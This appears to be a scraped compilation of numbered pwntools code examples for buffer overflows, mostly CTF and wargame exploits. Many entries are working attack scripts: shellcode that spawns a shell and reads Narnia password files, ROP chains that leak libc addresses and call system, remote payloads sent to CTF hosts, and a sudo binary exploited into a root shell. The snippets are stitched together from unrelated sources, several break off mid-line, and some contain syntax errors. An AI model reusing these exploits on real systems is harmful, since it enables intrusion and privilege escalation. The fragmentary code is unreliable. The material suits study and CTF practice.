Esempio n. 1
0
def auto_rop(rop_binary, function_address, offset):
    '''
    This function is used in an iteration that is called in main. The function will
    attempt to use the return addresses that were returned from function retrieve_func_addresses(),
    displaying the output and checking if the flag value is present in the output. IF the flag value
    is found in the output it will be displayed on the terminal.

    RETURN: None
    '''

    print(Colors.OKBLUE + "[*] Return to address: " + Colors.ENDC + Colors.BOLD \
        + "{0}".format(function_address) + Colors.ENDC)

    ret_rop = struct.pack('<L', literal_eval(function_address))

    buff = pwn.cyclic(offset)
    buff += ret_rop

    create_profile(buff)

    r2 = r2pipe.open(rop_binary)
    r2.cmd('e dbg.profile=profile.rr2')
    r2.cmd('ood')

    r2_out = r2.cmd('dc')
    if 'flag' not in r2_out:
        r2.cmd('qyn')
    else:
        print(Colors.OKGREEN + "[+] Flag found!\n" + Colors.ENDC)
        print(r2_out)
        os.remove('profile.rr2')
        quit()
Esempio n. 2
0
def demo_cyclic():
    p = pwn.process('./vuln')
    print("Attach to the process with the debugger")
    input()
    p.sendline(pwn.cyclic(150))
    print(p.recv())
    p.sendline("exit")
    print(p.recv())
    print(p.recv())
Esempio n. 3
0
def find_overflow(binary):
    p = pwn.process(binary)
    p.sendline(pwn.cyclic(10000))
    p.recv(1)
    p.close()

    assert p.returncode != -11, "Did not crash"

    core = pwn.Coredump("./core")
    return pwn.cyclic_find(pwn.pack(core.eip))
Esempio n. 4
0
def get_overflow_offset():
    # It's problematic to create a core dump on an NTFS file system,
    # so reconfigure core dumps to be created elsewhere
    os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern")

    proc = process(get_process_path())
    payload = pwn.cyclic(100)
    send_payload(proc, payload)
    proc.wait()
    offset = pwn.cyclic_find(proc.corefile.rip, n=8)
    log.info("Overflow offset: {}".format(offset))
    return offset
Esempio n. 5
0
def GetOffsetStdin():
    log_level = pwn.context.log_level
    pwn.context.log_level = 'critical'
    p = pwn.process(exe.path)
    p.sendline(pwn.cyclic(512))
    p.wait()
    time.sleep(2)
    core = p.corefile
    fault = core.fault_addr
    ofst = pwn.cyclic_find(fault & 0xffffffff)
    p.close()
    pwn.context.log_level = log_level
    return ofst
Esempio n. 6
0
def get_rip_offset(chall):
    # Generate a cyclic pattern so that we can auto-find the offset
    payload = pwn.cyclic(128)

    # Run the process once so that it crashes
    io = pwn.process(chall)
    io.sendline(payload)
    io.wait()

    # Get the core dump
    core = pwn.Coredump("./core")

    # Our cyclic pattern should have been used as the crashing address
    offset = pwn.cyclic_find(core.fault_addr & (2 ** 32 - 1))
    return offset
Esempio n. 7
0
def fuzz():
    print("Fuzzing!")
    buffer = []
    counter = 100
    while len(buffer) < 30:
        buffer.append("A" * counter)
        counter += 100

    for string in buffer:
        try:
            p = cyclic(len(string))
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(3)
            s.connect((host, port))
            s.recv(1024)
            print("Sending %s Bytes!" % len(p))
            print("Payload: \n%s" % p)
            s.send(p + b"\r\n")
            s.recv(1024)
            s.close()
            time.sleep(0.5)
        except socket.error:
            print("Could not connect to: %s:%s" % (host, port))
            sys.exit(0)
Esempio n. 8
0
    def mutate(self, max_length: int = 1024, step: int = 128) -> str:
        """
        Return buffer overflow payloads up to
        max_length characters
        max_length: maximum length of the payload (default 1024)
        step: increment step (default 128)
        """
        # Multiply random lines
        lines = self.input_str.split("\n")
        n_lines = len(lines)
        for i in range(0, max_length, step):
            rand_line_index = random.randint(0, n_lines - 1)
            for j in range(i):
                lines.append(lines[rand_line_index])
            multi_lines = "\n".join(lines)
            yield multi_lines

        # Append input with random cyclic characters
        for i in range(0, max_length, step):
            classic = self.input_str + cyclic(i).decode("utf-8")
            yield classic

        # Append input with various strings
        for i in range(0, max_length, step):
            strings = self.input_str + "".join(
                random.choice(string.printable) for s in range(i))
            yield strings

        # Append new lines
        for i in range(0, max_length, step):
            byte_str = self.input_str.encode("utf-8")
            newlines = byte_str + (b"\x0a" * i)
            newlines = newlines.decode("utf-8")
            yield newlines

        self.is_empty = True
#!/usr/bin/env python3

import pwn
import os

doing = pwn.term.output(float=True)
if pwn.context.log_level == pwn.logging.INFO:
    pwn.context(log_level='ERROR')
pwn.context(arch='i386')

solutions = [  # Entry <i> is the solution to narnia<i>
    pwn.flat('A' * 20, 0xdeadbeef),
    pwn.asm(pwn.shellcraft.sh()),
    pwn.cyclic(200)
]

# Run this python script inside tmux like this:
# $> tmux
# $> ./exploit GDB
# It will spawn a separate window with the GDB session
pwn.context.terminal = ["tmux", "splitw", "-h"]

gdbscript = '''
continue
'''.format(**locals())


def ssh_connect(level_id, level_password):
    return pwn.ssh(user='******' % level_id,
                   password=level_password,
                   host="narnia.labs.overthewire.org",
Esempio n. 10
0
import pwn

PAYLOAD = pwn.cyclic(1024)


def find_buffer_size(binary,
                     route,
                     menus,
                     hooks={},
                     core_finder=lambda: './core'):
    binary = pwn.process(binary)

    if 'setup' in hooks: hooks['setup'](binary)

    try:
        for item in route:
            menus[item](PAYLOAD, binary)
    except EOFError:
        pass
    else:
        assert False, "Did not crash"

    binary.close()
    assert binary.returncode == -11, "Did not Segmentation Fault (SIGSEGV = -11)"

    core = pwn.Coredump(core_finder())
    offset = pwn.cyclic_find(pwn.pack(core.eip))

    return offset

    elf = ELF(LOCAL_BIN)  # Extract data from binary
    rop = ROP(elf)  # Find ROP gadgets

if GDB and not REMOTETTCP and not REMOTESSH:
    # attach gdb and continue
    # You can set breakpoints, for example "break *main"
    gdb.attach(P.pid, "b *main")

##########################
##### OFFSET FINDER ######
##########################

OFFSET = b""  #b"A"*264
if OFFSET == b"":
    gdb.attach(P.pid, "c")  #Attach and continue
    payload = cyclic(264)
    payload += b"AAAAAAAA"
    print(P.clean())
    P.sendline(payload)
    #x/wx $rsp -- Search for bytes that crashed the application
    #print(cyclic_find(0x63616171)) # Find the offset of those bytes
    P.interactive()
    exit()

#####################
#### Find Gadgets ###
#####################
try:
    libc_func = "puts"
    PUTS_PLT = ELF_LOADED.plt[
        'puts']  #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
Esempio n. 12
0
#! /usr/bin/env python3
import pwn

s = pwn.ssh('narnia6',
            'narnia.labs.overthewire.org',
            password='******',
            port=2226)

ShellCode = pwn.asm(
    pwn.shellcraft.i386.linux.setreuid(14007) + pwn.shellcraft.i386.linux.sh())

n = pwn.cyclic(300)
print(n)
s.interactive()
n = pwn.cyclic_find(0x63616173)
arg = (b'\x90' * n + ShellCode)[-n:] + pwn.p32(0xffffd420 + 2401)
p = s.process([b'/narnia/narnia4', arg])
p.sendline(b"cat /etc/narnia_pass/narnia5")
print(p.recvline())
s.close()
Esempio n. 13
0
#!/usr/bin/env python3
from pwn import cyclic
from pwnlib.tubes.ssh import ssh
from pwnlib.util.packing import p64

offset = 88
payload = cyclic(offset)
payload += p64(0x400803)  # pop rdi; ret
payload += p64(0x601060)  # [arg0] rdi = 6295648
payload += p64(0x4005b0)
payload += p64(0x400803)  # pop rdi; ret
payload += p64(0x601060)  # [arg0] rdi = 6295648
payload += p64(0x400570)

s = ssh(host='10.10.139.182', user='******')
p = s.process(['sudo', '/uid_checker'])
print(p.recv())
p.sendline(payload)
print(p.recv())
p.sendline("/bin/sh")
p.interactive()
Esempio n. 14
0
import pwn

p = pwn.gdb.debug("./bb1", aslr=False)

#p = remote('host1.metaproblems.com',5151)

#payload =
p.write(pwn.cyclic(2000, n=8) + b"\n")
#payload += p64(0x401172) +

#p.sendline(payload)
p.interactive()
#response = p.readline()
#if (response != "Invalid auth.\n"):
#	print(offset)
#	print(response)
Esempio n. 15
0
# Offset of printf in target libc
LIBC_PRINTF = 0x00000000000544f0
# Offset of system in target libs
LIBC_SYSTEM = 0x0000000000044c40

## Helper buffers populated by client
# ...these are actually dst and src filter addresses
# Address of pop rdi; ret shell to overwrite atoi in .got.plt
BUFFER_POPRDI = 0x6032C0
# Address of 'sh\x00\x00'
BUFFER_SH = 0x6032C4

## Stage2 ROP, in PCAP packet
rop_s2 = ""
# three junk registers popped from stage1
rop_s2 += pwn.cyclic(3 * 8)
# eax <- 0 ; via ntohl() call
rop_s2 += pwn.p64(POP_RDI)
rop_s2 += pwn.p64(0)
rop_s2 += pwn.p64(NTOHL)
# leak printf in .got.plt
rop_s2 += pwn.p64(POP_RDI)
rop_s2 += pwn.p64(STR_VERSION_PS)
rop_s2 += pwn.p64(POP_RSI_R15)
rop_s2 += pwn.p64(PRINTF_GOT_PLT)
rop_s2 += pwn.p64(0x0)
rop_s2 += pwn.p64(PRINTF)
# return to main program again, the client will now populate BUFFER_* crap
rop_s2 += pwn.p64(0x401E14)
# sprintf([email protected], &`pop rdi; ret`);
rop_s2 += pwn.p64(POP_RDI)
Esempio n. 16
0
#!/usr/bin/env python3
import pwn

SHELL_CODE = b'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'
SHELL_LEN  = len(SHELL_CODE)

p = pwn.remote('host',12345)

### leak buffer addr
p.recvuntil(b'dump:')
p.sendline(pwn.cyclic(16))
p.recvline()
SHELL_ADDR = p.recvline()[0:10]

p.recvuntil(b'(y/n):')
p.sendline(b'y')

### send payload 
p.recvuntil(b'dump:')
n = pwn.cyclic_find(0x62616170)
payload = SHELL_CODE
payload += b'A'*(n - SHELL_LEN + 4)
payload += pwn.p32(int(SHELL_ADDR,0))
payload += b'A'*8
p.sendline(payload)
print(b'payload: ' + payload)

### get shell
p.recvuntil(b'(y/n):')
p.sendline(b'n')
p.interactive()
Esempio n. 17
0
#!/usr/bin/python2
import pwn
from struct import *


desired_offset = 40 #thanks to gdb we can know the offset between rbp and rsp that is 40
c = pwn.remote('shepherd.ii.uib.no', 9001)



buf = ""
buf = pwn.cyclic(40)
buf += "\x00\x00\x00\x00\x1a\xc0\xca\xc0" #we add little endian c0cac01a


c.sendline(buf) #we sent the payload

f = open("out_1.txt", "w") #file where the results are going to save

f.write(c.recvall()) #receiving the results and writting them in out.txt.

Esempio n. 18
0
#!/usr/bin/env python

import pwn
import sys

length = sys.argv[1]
text = pwn.cyclic(int(length))
print text
Esempio n. 19
0
add_product('a', 10)
add_product('b', 11)
add_product('c', 12)
add_product('d', 13)
add_product('e', 14)
add_product('f', 15)

manage_product('a')
manage_product('b')
manage_product('c')
manage_product('d')
manage_product('e')
manage_product('f')

remove_product('d')
buf = ''
buf += pwn.p32(9)  # price
buf += pwn.p32(0xdeadbeef)  # next
buf += pwn.p32(0xdeadbeef)  # prev
buf += pwn.p32(0x804C1C0)  # parent
buf += pwn.p32(0x804C3E0 - 24)  # left
buf += pwn.p32(0x804C3E0 - 24)  # right
buf += pwn.cyclic(8) + 'BBBB'
profile(buf)

r.recvuntil('Input: ')
r.send('4\n')
print r.recvuntil('Input: ')
r.send('4\n')
print r.recvuntil('Input: ')
Esempio n. 20
0
import pwn

pwn.context.arch = 'amd64'
sh = pwn.remote('chal.2020.sunshinectf.org', 30000)
payload = pwn.cyclic(60) + pwn.p64(0xfacade)

with open('payload', 'wb') as f:
    f.write(payload)

sh.sendline(payload)
sh.interactive()
Esempio n. 21
0
CALL_RBP = 0x00401fbc

# htons - useless function, used to studd RDX_SHIT indirect call
HTONS = 0x60d088

# free in .got.plt - we leak this, then override this
LEAK_ADDRESS = 0x60D018
LEAK_LENGTH = 8
# place to keep system arg
SYSTEM_ARG_ADDRESS = LEAK_ADDRESS + 8
SYSTEM_ARG_LENGTH = 8  #change this if you change the sent length in the client

key = 'this_is_preshared_key'

## WRITE 8 BYTES OF GOT.PLT FREE TO STDOUT
sent_buffer = pwn.cyclic(672) + pwn.p64(POP_MANY) + pwn.p64(
    0xFFFFFFFFFFFFFFFF) + pwn.p64(0) + pwn.p64(0x60d088) + pwn.p64(
        LEAK_LENGTH) + pwn.p64(0) + pwn.p64(0)
sent_buffer += pwn.p64(RDX_SHIT)
sent_buffer += pwn.p64(8) * 7
sent_buffer += pwn.p64(POP_RDI) + pwn.p64(1) + pwn.p64(POP_RSI_R15) + pwn.p64(
    LEAK_ADDRESS) + pwn.p64(0)
sent_buffer += pwn.p64(WRITE)

## READ SYSTEM ARG TO CLIENT
sent_buffer += pwn.p64(POP_MANY) + pwn.p64(0xFFFFFFFFFFFFFFFF) + pwn.p64(
    0) + pwn.p64(0x60d088) + pwn.p64(SYSTEM_ARG_LENGTH) + pwn.p64(0) + pwn.p64(
        0)
sent_buffer += pwn.p64(RDX_SHIT)
sent_buffer += pwn.p64(8) * 7
sent_buffer += pwn.p64(POP_RDI) + pwn.p64(0) + pwn.p64(POP_RSI_R15) + pwn.p64(
Esempio n. 22
0
import pwn

pwn.context.arch = 'amd64'

sh = pwn.remote('chal.2020.sunshinectf.org', 30002)
# sh = pwn.process('./chall_02')

p1 = "A" * 13

padding = 62
payload = pwn.cyclic(padding) + pwn.p32(0x08048390) + pwn.p32(0x0) + pwn.p32(
    0x8049610)

with open('payload', 'w') as f:
    f.write(p1 + '\n')

with open('payload', 'ab') as f:
    f.write(payload)

sh.sendline(p1)
sh.sendline(payload)
sh.interactive()
Esempio n. 23
0
import pwn
binary = pwn.ELF('./CS18B040_CS18B050_2')
shell = binary.functions['shell'].address
#arg1 = list(binary.search(b'/bin/sh'))[0]
arg1 = binary.symbols['exec_string']
payload = pwn.cyclic(88) + pwn.p32(arg1 - 0x8) + pwn.p32(shell + 0x3)
open('CS18B040_CS18B050_2.exp', 'wb').write(payload)
Esempio n. 24
0
#!/usr/bin/env python3
import pwn
import sys

while True:
	p = pwn.process('/Assignment5_stackoverflow2_teaching')
	out = p.clean().decode()
	
	returnAddress = out.split("Current Return Address: ")[1].split()[0] //ADDRESS CHANGES EVERYTIME
	print("Old: " returnAddress)
	
	returnAddress = int(returnAddress, 16)
	
	#0x355 = 0x5565d7688645 <main+81>(x/i -> that register) - 0x5565d7688310 (x/p win)
	
	returnAddress = returnAddress - 0x335 
	print("New: ", returnAddress)
	
	#num = 0x7ffdcd783540 - 0x7ffdcd783050 + 8 = 1272
	num = 1272
	
	payload(pwn.cyclic(num) + returnAddress.to_bytes(8, 'little'))
	
	p.send(payload)
	
	print(p.clean().decode())
	
	sys.exit()
//end stof2.py	
Esempio n. 25
0
    parser.add_argument('-size',
                        '-s',
                        type=int,
                        help="Size of bytes needed to overflow buffer")
    args = parser.parse_args()

    pattern_size = args.size
    rop_file = args.file

    # Show example usage if no parameters are given
    if not args.file or not args.size:
        print(rarop_epilog)
        quit()

    # Create the random pattern used to locate the offset
    pattern = pwn.cyclic(pattern_size)

    # Create the custom Radare2 profile
    # This is used to redirect the output so that it can be read by the program
    create_profile(pattern)

    # Retrieve the EIP value after a crash was triggered
    eip_value = crash(rop_file)

    # Locate the exact offset needed to trigger the overflow
    # This is needed to fill up the buffer with the right amount of garbage
    # before adding the return addresses.
    offset = locate_offset(eip_value)

    # With the data inside the variables the program can automatically
    # execute the steps needed to exploit the binary
Esempio n. 26
0
import subprocess

# i like the debug context whenever i use pwntools
context.log_level = 'debug'
# these are all pretty self explanatory
level = 3
user = '******' + str(level)
host = 'narnia.labs.overthewire.org'
password = '******'
port = 2226

filename = str(raw_input("Please name your file :")).rstrip()
# now the file can be named whatever you want
print("The file is going to be named " + filename)

oflow = (cyclic(27))
filepath = "/tmp/" + oflow + "/tmp/" + filename
exe = "/narnia/./narnia3 "


def conn():
    # basically just sshs into the level
    return ssh(user=user, host=host, password=password, port=port)


def getPass(shell):
    print('The password for the next level is...')
    shell.sendline('cat /tmp/' + filename)


def readCode(shell):
Esempio n. 27
0
CALL_RBP = 0x00401fbc

# htons - useless function, used to studd RDX_SHIT indirect call
HTONS = 0x60d088

# free in .got.plt - we leak this, then override this
LEAK_ADDRESS = 0x60D018
LEAK_LENGTH = 8
# place to keep system arg
SYSTEM_ARG_ADDRESS = LEAK_ADDRESS + 8
SYSTEM_ARG_LENGTH = 8 #change this if you change the sent length in the client

key = 'this_is_preshared_key'

## WRITE 8 BYTES OF GOT.PLT FREE TO STDOUT
sent_buffer = pwn.cyclic(672) + pwn.p64(POP_MANY) + pwn.p64(0xFFFFFFFFFFFFFFFF) + pwn.p64(0) + pwn.p64(0x60d088) + pwn.p64(LEAK_LENGTH) + pwn.p64(0) + pwn.p64(0)
sent_buffer += pwn.p64(RDX_SHIT)
sent_buffer += pwn.p64(8) * 7
sent_buffer += pwn.p64(POP_RDI) + pwn.p64(1) + pwn.p64(POP_RSI_R15) + pwn.p64(LEAK_ADDRESS) + pwn.p64(0)
sent_buffer += pwn.p64(WRITE)

## READ SYSTEM ARG TO CLIENT
sent_buffer += pwn.p64(POP_MANY) + pwn.p64(0xFFFFFFFFFFFFFFFF) + pwn.p64(0) + pwn.p64(0x60d088) + pwn.p64(SYSTEM_ARG_LENGTH) + pwn.p64(0) + pwn.p64(0)
sent_buffer += pwn.p64(RDX_SHIT)
sent_buffer += pwn.p64(8) * 7
sent_buffer += pwn.p64(POP_RDI) + pwn.p64(0) + pwn.p64(POP_RSI_R15) + pwn.p64(SYSTEM_ARG_ADDRESS) + pwn.p64(0)
sent_buffer += pwn.p64(READ)

## RESEND TO CLIENT FOR DEBUG
sent_buffer += pwn.p64(POP_MANY) + pwn.p64(0xFFFFFFFFFFFFFFFF) + pwn.p64(0) + pwn.p64(0x60d088) + pwn.p64(SYSTEM_ARG_LENGTH) + pwn.p64(0) + pwn.p64(0)
sent_buffer += pwn.p64(RDX_SHIT)
Esempio n. 28
0
def getc(l):
    return pwn.cyclic(l, n=8).decode('utf-8')
Esempio n. 29
0
#!/usr/bin/python2
import pwn
from struct import *

desired_ret = 0x401162  #We know that desassembling it with gdb
c = pwn.remote('shepherd.ii.uib.no', 9002)

offset = pwn.cyclic_find(
    'kaaa')  #This is the substring in my pattern in the top
#of the stack as we saw in gdb

buf = pwn.cyclic(offset)

buf += pwn.p64(desired_ret)

c.sendline(buf)  #we sent the payload

f = open("out_2.txt", "w")  #file where the results are going to save

f.write(c.recvall())  #receiving the results and writting them in out.txt.
Esempio n. 30
0
import pwn
import hashlib

def sendmail(f, t, d):
    data = "From: %s%sTo %s%s%s" % (f, "\r\n", t, "\r\n\r\n", d)
    h = hashlib.sha256(data).hexdigest()
    f = open('/tmp/mails/foo/%s' % h, 'w')
    f.write(data)
    f.close()

for i in range(10):
    sendmail('*****@*****.**', '*****@*****.**', ('%i'%i + pwn.cyclic(200)+'\r\n')*20)

USERNAME = '******'
PASSWORD = '******'

s = pwn.remote('localhost', 42110)

nonce = s.recvline().split('<')[1].split('>')[0]
h = hashlib.sha256('<{}>{}'.format(nonce, PASSWORD)).hexdigest()
s.send('APOP {} {}\n'.format(USERNAME, h))
print '[d]', s.recvline(),

def list():
    s.send('LIST\n')
    line = s.recvline()
    count = line.split()[1]
    for _ in range(int(count)):
        print '[d]', s.recvline(),

list()